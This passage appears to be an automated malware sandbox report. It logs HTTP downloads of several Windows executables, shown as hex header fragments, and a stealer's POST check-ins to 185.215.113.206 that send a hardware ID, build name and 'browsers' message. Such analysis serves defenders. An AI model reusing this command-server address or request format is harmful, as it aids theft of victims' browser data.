00 00 a0 4a 00 00 04 00 00 00 9a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4a 00 00 22 00 00 00 9e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 09:10:10 GMTContent-Type: application/octet-streamContent-Length: 471168Last-Modified: Tue, 26 Nov 2024 07:49:49 GMTConnection: keep-aliveETag: "67457d9d-73080"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 aa b6 44 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 90 01 00 00 a0 00 00 00 00 00 00 c0 a8 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 07 00 00 06 00 00 da b0 07 00 03 00 40 c3 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 70 02 02 00 28 00 00 00 00 50 07 00 10 00 00 00 00 00 00 00 00 00 00 00 00 08 07 00 80 2e 00 00 00 60 02 00 d8 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 a7 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 cc 03 02 00 34 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 8f 01 00 00 10 00 00 00 90 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 74 73 00 00 00 a0 01 00 00 74 00 00 00 96 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 20 00 00 00 20 02 00 00 10 00 00 00 0a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 73 70 65 63 00 00 00 08 00 00 00 00 50 02 00 00 02 00 00 00 1a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 16 00 00 00 60 02 00 00 18 00 00 00 1c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 52 4f 4c 00 00 00 00 00 cc 04 00 00 80 02 00 00 cc 04 00 00 34 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 50 07 00 00 02 00 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 09:10:16 GMTContent-Type: application/octet-streamContent-Length: 4418048Last-Modified: Tue, 26 Nov 2024 06:57:43 GMTConnection: keep-aliveETag: "67457167-436a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 c0 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c5 00 00 04 00 00 1c 32 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 a6 c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 64 62 71 71 64 6e 71 00 c0 1b 00 00 f0 a9 00 00 b8 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 70 66 65 77 6f 61 73 00 10 00 00 00 b0 c5 00 00 04 00 00 00 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 c5 00 00 22 00 00 00 48 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 09:10:29 GMTContent-Type: application/octet-streamContent-Length: 1871872Last-Modified: Tue, 26 Nov 2024 08:49:19 GMTConnection: keep-aliveETag: "67458b8f-1c9000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 95 08 45 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 02 04 00 00 c6 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 32 cb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 5c 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 90 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6c 77 7a 6d 6f 69 63 00 00 1a 00 00 20 30 00 00 f6 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6d 76 75 67 68 63 6e 00 10 00 00 00 20 4a 00 00 06 00 00 00 68 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4a 00 00 22 00 00 00 6e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 09:10:38 GMTContent-Type: application/octet-streamContent-Length: 1785344Last-Modified: Tue, 26 Nov 2024 08:49:26 GMTConnection: keep-aliveETag: "67458b96-1b3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 30 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 68 00 00 04 00 00 c5 b4 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 71 6d 69 62 6a 77 78 00 a0 19 00 00 80 4e 00 00 a0 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 73 69 78 71 6d 6b 77 00 10 00 00 00 20 68 00 00 04 00 00 00 18 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 68 00 00 22 00 00 00 1c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 09:10:47 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Tue, 26 Nov 2024 08:47:33 GMTConnection: keep-aliveETag: "67458b25-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1d 8b 45 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 56 f2 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 d0 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 a8 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 09:10:54 GMTContent-Type: application/octet-streamContent-Length: 2825216Last-Modified: Tue, 26 Nov 2024 08:48:00 GMTConnection: keep-aliveETag: "67458b40-2b1c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 2e 6c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 78 79 6d 63 77 76 72 00 c0 2a 00 00 a0 00 00 00 bc 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 75 70 73 79 6e 69 00 20 00 00 00 60 2b 00 00 04 00 00 00 f6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 fa 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 42 44 33 33 35 30 41 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 2d 2d 0d 0a Data Ascii: ------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="hwid"17BD3350AF1F1622379703------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="build"mars------JEHIIDGCFHIEGDGCBFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGCAAAAFBKEBFHJEGCFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 43 41 41 41 41 46 42 4b 45 42 46 48 4a 45 47 43 46 2d 2d 0d 0a Data Ascii: ------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="token"acd458cf154b38fc4087e7b9fe74b5b2b05800a6b31459ed15a87fbd6c068b0842da627e------FBGCAAAAFBKEBFHJEGCFContent-Disposition: form-data; name="message"browsers------FBGCAAAAFBKEBFHJEGCF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 63 64 34 35 38 63 66 31 35 34 62 33 38 66 63 34 30 38 37 65 37 62 39 66 65 37 34 62 35 62 32 62 30 35 38 30 30 61 36 62 33 31 34 35 39 65 64 31 35 61 38 37 66 62 64 36 63 30 36 38 62 30 38 34 32 64 61 36 32 37 65 0d 0a 2d 2d 2d 2d 2d 2d 